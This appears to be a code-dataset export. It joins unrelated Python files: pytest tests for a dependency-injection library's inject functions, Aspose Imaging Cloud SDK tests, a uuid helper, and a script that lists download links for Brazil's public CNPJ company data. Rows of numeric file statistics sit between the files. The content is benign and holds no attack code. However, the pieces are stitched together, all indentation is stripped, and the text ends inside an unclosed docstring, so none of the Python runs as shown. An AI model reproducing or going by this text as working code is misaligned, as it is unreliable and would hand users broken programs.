injectable = MagicMock(spec=Injectable)
injectable.get_instance.return_value = expected_instance
matches = {injectable}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
resolve_single_injectable_mock.return_value = injectable
dependency = "TEST"
# when
instance = inject(dependency)
# then
assert get_namespace_injectables_mock.called is True
(
dependency_name_arg,
registry_type_arg,
namespace_arg,
) = get_namespace_injectables_mock.call_args[0]
assert dependency_name_arg is dependency_name
assert registry_type_arg is registry_type
assert namespace_arg is DEFAULT_NAMESPACE
assert filter_by_group_mock.called is False
assert resolve_single_injectable_mock.called is True
(
dependency_name_arg,
registry_type_arg,
matches_arg,
) = resolve_single_injectable_mock.call_args[0]
assert dependency_name_arg == dependency_name
assert registry_type_arg == registry_type
assert matches_arg == matches
assert injectable.get_instance.called is True
assert injectable.get_instance.call_args[1]["lazy"] is False
assert instance == expected_instance
def test__inject__with_no_matches_for_dependency_when_non_optional(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
matches = {}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
dependency = "TEST"
# when
with pytest.raises(InjectionError):
inject(dependency)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is False
assert resolve_single_injectable_mock.called is False
def test__inject__with_no_matches_for_dependency_when_optional(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
matches = {}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
dependency = "TEST"
# when
instance = inject(dependency, optional=True)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is False
assert resolve_single_injectable_mock.called is False
assert instance is None
def test__inject__with_no_matches_for_group_when_non_optional(
self,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
matches = {MagicMock(spec=Injectable)}
lookup_key = "TEST"
lookup_type = "class"
get_namespace_injectables_mock.return_value = [matches, lookup_key, lookup_type]
filter_by_group_mock.return_value = {}
dependency = "TEST"
# when
with pytest.raises(InjectionError):
inject(dependency, group="TEST_GROUP")
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is True
assert resolve_single_injectable_mock.called is False
def test__inject__with_no_matches_for_group_when_optional(
self,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
matches = {MagicMock(spec=Injectable)}
lookup_key = "TEST"
lookup_type = "class"
get_namespace_injectables_mock.return_value = [matches, lookup_key, lookup_type]
filter_by_group_mock.return_value = {}
dependency = "TEST"
# when
instance = inject(dependency, group="TEST_GROUP", optional=True)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is True
assert resolve_single_injectable_mock.called is False
assert instance is None
def test__inject__with_explicit_values(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
resolve_single_injectable_mock,
):
# given
expected_instance = MagicMock
primary_injectable = MagicMock(spec=Injectable)
primary_injectable.get_instance.return_value = expected_instance
non_primary_injectable = MagicMock(spec=Injectable)
matches = {
primary_injectable,
non_primary_injectable,
MagicMock(spec=Injectable),
}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
filtered_matches = {primary_injectable, non_primary_injectable}
filter_by_group_mock.return_value = filtered_matches
resolve_single_injectable_mock.return_value = primary_injectable
dependency = "TEST"
namespace = "TEST_NAMESPACE"
group = "TEST_GROUP"
exclude_groups = ["A", "B"]
# when
instance = inject(
dependency,
namespace=namespace,
group=group,
exclude_groups=exclude_groups,
lazy=True,
optional=False,
)
# then
assert get_namespace_injectables_mock.called is True
(
dependency_name_arg,
registry_type_arg,
namespace_arg,
) = get_namespace_injectables_mock.call_args[0]
assert dependency_name_arg is dependency_name
assert registry_type_arg is registry_type
assert namespace_arg is namespace
assert filter_by_group_mock.called is True
matches_arg, group_arg, exclude_groups_arg = filter_by_group_mock.call_args[0]
assert matches_arg == matches
assert group_arg == group
assert exclude_groups_arg == exclude_groups
assert resolve_single_injectable_mock.called is True
(
dependency_name_arg,
registry_type_arg,
matches_arg,
) = resolve_single_injectable_mock.call_args[0]
assert dependency_name_arg == dependency_name
assert registry_type_arg == registry_type
assert matches_arg == filtered_matches
assert primary_injectable.get_instance.called is True
assert non_primary_injectable.get_instance.called is False
assert primary_injectable.get_instance.call_args[1]["lazy"] is True
assert instance == expected_instance
class TestInjectMultiple:
def test__inject_multiple__with_default_values(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
expected_instances = [MagicMock(), MagicMock()]
injectables = [MagicMock(spec=Injectable), MagicMock(spec=Injectable)]
for i in range(len(expected_instances)):
injectables[i].get_instance.return_value = expected_instances[i]
matches = {*injectables}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
dependency = "TEST"
# when
instances = inject_multiple(dependency)
# then
assert get_namespace_injectables_mock.called is True
(
dependency_name_arg,
registry_type_arg,
namespace_arg,
) = get_namespace_injectables_mock.call_args[0]
assert dependency_name_arg is dependency
assert registry_type_arg is registry_type
assert namespace_arg is DEFAULT_NAMESPACE
assert filter_by_group_mock.called is False
assert all(injectable.get_instance.called is True for injectable in injectables)
assert all(
injectable.get_instance.call_args[1]["lazy"] is False
for injectable in injectables
)
assert len(instances) == len(expected_instances)
assert all(instance in expected_instances for instance in instances)
def test__inject_multiple__with_no_matches_for_dependency_when_non_optional(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
matches = {}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
dependency = "TEST"
# when
with pytest.raises(InjectionError):
inject_multiple(dependency)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is False
def test__inject_multiple__with_no_matches_for_dependency_when_optional(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
matches = {}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
dependency = "TEST"
# when
instances = inject_multiple(dependency, optional=True)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is False
assert instances == []
def test__inject_multiple__with_no_matches_for_group_when_non_optional(
self,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
matches = {MagicMock(spec=Injectable), MagicMock(spec=Injectable)}
lookup_key = "TEST"
lookup_type = "class"
get_namespace_injectables_mock.return_value = [matches, lookup_key, lookup_type]
filter_by_group_mock.return_value = {}
dependency = "TEST"
# when
with pytest.raises(InjectionError):
inject_multiple(dependency, group="TEST_GROUP")
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is True
def test__inject_multiple__with_no_matches_for_group_when_optional(
self,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
matches = {MagicMock(spec=Injectable), MagicMock(spec=Injectable)}
lookup_key = "TEST"
lookup_type = "class"
get_namespace_injectables_mock.return_value = [matches, lookup_key, lookup_type]
filter_by_group_mock.return_value = {}
dependency = "TEST"
# when
instances = inject_multiple(dependency, group="TEST_GROUP", optional=True)
# then
assert get_namespace_injectables_mock.called is True
assert filter_by_group_mock.called is True
assert instances == []
def test__inject_multiple__with_explicit_values(
self,
get_dependency_name_mock,
get_dependency_registry_type_mock,
get_namespace_injectables_mock,
filter_by_group_mock,
):
# given
expected_instances = [MagicMock(), MagicMock()]
injectables = [
MagicMock(spec=Injectable),
MagicMock(spec=Injectable),
MagicMock(spec=Injectable),
]
for i in range(len(expected_instances)):
injectables[i].get_instance.return_value = expected_instances[i]
matches = {*injectables}
dependency_name = "TEST"
get_dependency_name_mock.return_value = dependency_name
registry_type = RegistryType.CLASS
get_dependency_registry_type_mock.return_value = registry_type
get_namespace_injectables_mock.return_value = matches
filtered_matches = {*injectables[:2]}
filter_by_group_mock.return_value = filtered_matches
dependency = "TEST"
namespace = "TEST_NAMESPACE"
group = "TEST_GROUP"
exclude_groups = ["A", "B"]
# when
instances = inject_multiple(
dependency,
namespace=namespace,
group=group,
exclude_groups=exclude_groups,
lazy=True,
optional=False,
)
# then
assert get_namespace_injectables_mock.called is True
(
dependency_name_arg,
registry_type_arg,
namespace_arg,
) = get_namespace_injectables_mock.call_args[0]
assert dependency_name_arg is dependency_name
assert registry_type_arg is registry_type
assert namespace_arg is namespace
assert filter_by_group_mock.called is True
matches_arg, group_arg, exclude_groups_arg = filter_by_group_mock.call_args[0]
assert matches_arg == matches
assert group_arg == group
assert exclude_groups_arg == exclude_groups
assert injectables[0].get_instance.called is True
assert injectables[1].get_instance.called is True
assert injectables[2].get_instance.called is False
assert all(
injectable.get_instance.call_args[1]["lazy"] is True
for injectable in injectables[:2]
)
assert len(instances) == len(expected_instances)
assert all(instance in expected_instances for instance in instances)
| 36.044248
| 88
| 0.688804
| 1,804
| 16,292
| 5.786585
| 0.045455
| 0.059776
| 0.092538
| 0.106045
| 0.930166
| 0.914743
| 0.884089
| 0.847399
| 0.835616
| 0.812817
| 0
| 0.001403
| 0.256506
| 16,292
| 451
| 89
| 36.124169
| 0.860398
| 0.011724
| 0
| 0.764384
| 0
| 0
| 0.029631
| 0.015687
| 0
| 0
| 0
| 0
| 0.205479
| 1
| 0.046575
| false
| 0
| 0.021918
| 0.013699
| 0.087671
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
e2c6b70ffc72364e4de297a58e4dad626a5fea98
| 17,277
|
py
|
Python
|
SDKs/Aspose.Imaging-Cloud-SDK-for-Python/tests/test_ImagingApi.py
|
naeem244/Aspose.Imaging-for-Cloud
|
20585a2163f34624d7a46641092444747360f3e3
|
[
"MIT"
] | null | null | null |
SDKs/Aspose.Imaging-Cloud-SDK-for-Python/tests/test_ImagingApi.py
|
naeem244/Aspose.Imaging-for-Cloud
|
20585a2163f34624d7a46641092444747360f3e3
|
[
"MIT"
] | null | null | null |
SDKs/Aspose.Imaging-Cloud-SDK-for-Python/tests/test_ImagingApi.py
|
naeem244/Aspose.Imaging-for-Cloud
|
20585a2163f34624d7a46641092444747360f3e3
|
[
"MIT"
] | null | null | null |
import unittest
import os.path
import json
import inspect
import requests
import asposeimagingcloud
from asposeimagingcloud.ImagingApi import ImagingApi
from asposeimagingcloud.ImagingApi import ApiException
from asposeimagingcloud.models import ImagingResponse
from asposeimagingcloud.models import SaaSposeResponse
import asposestoragecloud
from asposestoragecloud.StorageApi import StorageApi
class TestAsposeImagingCloud(unittest.TestCase):
def setUp(self):
with open('setup.json') as json_file:
data = json.load(json_file)
self.storageApiClient = asposestoragecloud.ApiClient.ApiClient(apiKey=str(data['app_key']),appSid=str(data['app_sid']),debug=True,apiServer=str(data['product_uri']))
self.storageApi = StorageApi(self.storageApiClient)
self.apiClient = asposeimagingcloud.ApiClient.ApiClient(apiKey=str(data['app_key']),appSid=str(data['app_sid']),debug=True,apiServer=str(data['product_uri']))
self.imagingApi = ImagingApi(self.apiClient)
self.output_path = str(data['output_location'])
def testGetImageBmp(self):
try:
name = "sample.bmp"
bitsPerPixel = 24
horizontalResolution = 300
verticalResolution = 300
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageBmp(name, bitsPerPixel, horizontalResolution, verticalResolution)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageBmp(self):
try:
name = "sample.bmp"
bitsPerPixel = 24
horizontalResolution = 300
verticalResolution = 300
response = self.imagingApi.PostImageBmp(bitsPerPixel, horizontalResolution, verticalResolution, file='./data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetCropImage(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
x = 30
y = 40
width = 100
height = 100
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetCropImage(name, format, x, y, width, height)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostCropImage(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
x = 30
y = 40
width = 100
height = 100
response = self.imagingApi.PostCropImage(format, x, y, width, height, file='./data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageFrame(self):
try:
name = "sample-multi.tif"
frameId = 1
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageFrame(name, frameId)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageFrameProperties(self):
try:
name = "TestDemo.tif"
frameId = 0
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageFrameProperties(name, frameId)
self.assertIsInstance(response,ImagingResponse.ImagingResponse)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageGif(self):
try:
name = "sample.gif"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageGif(name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageGif(self):
try:
name = "sample.gif"
backgroundColorIndex = 255
colorResolution = 7
response = self.imagingApi.PostImageGif(file='./data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageJpg(self):
try:
name = "aspose.jpg"
quality = 100
compressionType = "progressive"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageJpg(name, quality=quality, compressionType=compressionType)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageJpg(self):
try:
name = "aspose.jpg"
quality = 100
compressionType = "progressive"
response = self.imagingApi.PostImageJpg(file = './data/' + name, quality=quality, compressionType=compressionType)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImagePng(self):
try:
name = "aspose_imaging_for_cloud.png"
fromScratch = True
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImagePng(name, fromScratch=fromScratch)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImagePng(self):
try:
name = "aspose_imaging_for_cloud.png"
fromScratch = True
response = self.imagingApi.PostImagePng(file='./data/' + name, fromScratch=fromScratch)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageProperties(self):
try:
name = "demo.tif"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageProperties(name)
self.assertIsInstance(response,ImagingResponse.ImagingResponse)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImagePsd(self):
try:
name = "sample.psd"
channelsCount = 3
compressionMethod = "rle"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImagePsd(name, channelsCount=channelsCount, compressionMethod=compressionMethod)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImagePsd(self):
try:
name = "sample.psd"
channelsCount = 3
compressionMethod = "rle"
response = self.imagingApi.PostImagePsd(file='./data/' + name, channelsCount=channelsCount, compressionMethod=compressionMethod)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetChangeImageScale(self):
try:
fileName = "aspose_imaging_for_cloud"
name = fileName + ".png"
format = "jpg"
newWidth = 200
newHeight = 200
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetChangeImageScale(name, format, newWidth, newHeight)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostChangeImageScale(self):
try:
fileName = "aspose_imaging_for_cloud"
name = fileName + ".png"
format = "jpg"
newWidth = 200
newHeight = 200
response = self.imagingApi.PostChangeImageScale(format, newWidth, newHeight, file='./data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageRotateFlip(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
method = "Rotate180FlipX"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageRotateFlip(name, format, method)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageRotateFlip(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
method = "Rotate180FlipX"
response = self.imagingApi.PostImageRotateFlip(format, method, file = './data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetImageSaveAs(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetImageSaveAs(name, format)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageSaveAs(self):
try:
fileName = "aspose"
name = fileName + ".jpg"
format = "png"
response = self.imagingApi.PostImageSaveAs(format, file = './data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetTiffToFax(self):
try:
name = "TestDemo.tif"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetTiffToFax(name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostProcessTiff(self):
try:
name = "demo.tif"
compression = "ccittfax3"
resolutionUnit = "inch"
bitDepth = 1
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.PostProcessTiff(file='./data/' + name, compression=compression, resolutionUnit=resolutionUnit, bitDepth=bitDepth)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostTiffAppend(self):
try:
name = "sample.tif"
appendFile = "TestDemo.tif"
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.storageApi.PutCreate(appendFile,'./data/' + appendFile)
response = self.imagingApi.PostTiffAppend(name, appendFile=appendFile)
self.assertIsInstance(response,SaaSposeResponse.SaaSposeResponse)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testGetUpdatedImage(self):
try:
fileName = "TestDemo"
name = fileName + ".tif"
format = "png"
x = 96
y = 96
newWidth = 300
newHeight = 300
rectWidth = 200
rectHeight = 200
rotateFlipMethod = ""
response = self.storageApi.PutCreate(name,'./data/' + name)
response = self.imagingApi.GetUpdatedImage(name, format, newWidth, newHeight, x, y, rectWidth, rectHeight, rotateFlipMethod)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
def testPostImageSaveAs_ImagingApi_0(self):
try:
fileName = "TestDemo"
name = fileName + ".tif"
format = "png"
x = 96
y = 96
newWidth = 300
newHeight = 300
rectWidth = 200
rectHeight = 200
rotateFlipMethod = ""
response = self.imagingApi.PostImageSaveAs_ImagingApi_0(format, newWidth, newHeight, x, y, rectWidth, rectHeight, rotateFlipMethod, file= './data/' + name)
self.assertEqual(response.Status,'OK')
except ApiException as ex:
print "Exception"
print "Code: " + str(ex.code)
print "Mesage: " + ex.message
raise ex
if __name__ == '__main__':
unittest.main()
| 32.113383
| 180
| 0.499624
| 1,399
| 17,277
| 6.145818
| 0.120801
| 0.060014
| 0.066527
| 0.087695
| 0.739707
| 0.722959
| 0.722959
| 0.722959
| 0.709002
| 0.709002
| 0
| 0.010227
| 0.411414
| 17,277
| 538
| 181
| 32.113383
| 0.835284
| 0
| 0
| 0.768
| 0
| 0
| 0.082552
| 0.006212
| 0
| 0
| 0
| 0
| 0.077333
| 0
| null | null | 0
| 0.032
| null | null | 0.208
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
1a97f6d065deed9f580d0ce05bca90ed4a474fbf
| 61
|
py
|
Python
|
src/ocd/utilities.py
|
ofirr/OpenCommunity
|
7786ac2996530af8f545f4398c071793c73634c8
|
[
"BSD-3-Clause"
] | null | null | null |
src/ocd/utilities.py
|
ofirr/OpenCommunity
|
7786ac2996530af8f545f4398c071793c73634c8
|
[
"BSD-3-Clause"
] | null | null | null |
src/ocd/utilities.py
|
ofirr/OpenCommunity
|
7786ac2996530af8f545f4398c071793c73634c8
|
[
"BSD-3-Clause"
] | null | null | null |
import uuid
def create_uuid():
return uuid.uuid4().hex
| 10.166667
| 27
| 0.688525
| 9
| 61
| 4.555556
| 0.777778
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.020408
| 0.196721
| 61
| 5
| 28
| 12.2
| 0.816327
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| true
| 0
| 0.333333
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
1aa04d39d26a05e71dc63585a0c7815af573cfeb
| 5,394
|
py
|
Python
|
dados_cnpj_lista_url.py
|
rictom/cnpj-mysql
|
7f8a7d5f5dd88d6ffe46d4ff7e58ef4acf76b4a6
|
[
"MIT"
] | 3
|
2021-11-14T14:58:00.000Z
|
2022-03-08T02:34:38.000Z
|
dados_cnpj_lista_url.py
|
rictom/cnpj-mysql
|
7f8a7d5f5dd88d6ffe46d4ff7e58ef4acf76b4a6
|
[
"MIT"
] | 1
|
2021-11-19T20:27:41.000Z
|
2021-11-20T23:30:03.000Z
|
dados_cnpj_lista_url.py
|
rictom/cnpj-mysql
|
7f8a7d5f5dd88d6ffe46d4ff7e58ef4acf76b4a6
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
"""
Spyder Editor
lista relação de arquivos na página de dados públicos da receita federal
"""
url = 'https://www.gov.br/receitafederal/pt-br/assuntos/orientacao-tributaria/cadastros/consultas/dados-publicos-cnpj'
url = 'http://200.152.38.155/CNPJ/'
from bs4 import BeautifulSoup, SoupStrainer
import requests
page = requests.get(url)
data = page.text
soup = BeautifulSoup(data)
for link in soup.find_all('a'):
if str(link.get('href')).endswith('.zip'):
cam = link.get('href')
# if cam.startswith('http://http'):
# cam = 'http://' + cam[len('http://http//'):]
if not cam.startswith('http'):
print(url+cam)
else:
print(cam)
'''
http://200.152.38.155/CNPJ/F.K03200$W.SIMPLES.CSV.D10911.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.CNAECSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.MOTICSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.MUNICCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.NATJUCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.PAISCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10911.QUALSCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y4.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y4.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y4.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y5.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y6.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y7.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y8.D10911.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10911.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10911.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y9.D10911.SOCIOCSV.zip
'''
'''
http://200.152.38.155/CNPJ/F.K03200$W.SIMPLES.CSV.D10814.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.CNAECSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.MOTICSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.MUNICCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.NATJUCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.PAISCSV.zip
http://200.152.38.155/CNPJ/F.K03200$Z.D10814.QUALSCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y0.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y1.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y2.D10814.SOCIOCSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10814.EMPRECSV.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10814.ESTABELE.zip
http://200.152.38.155/CNPJ/K3241.K03200Y3.D10814.SOCIOCSV.zip
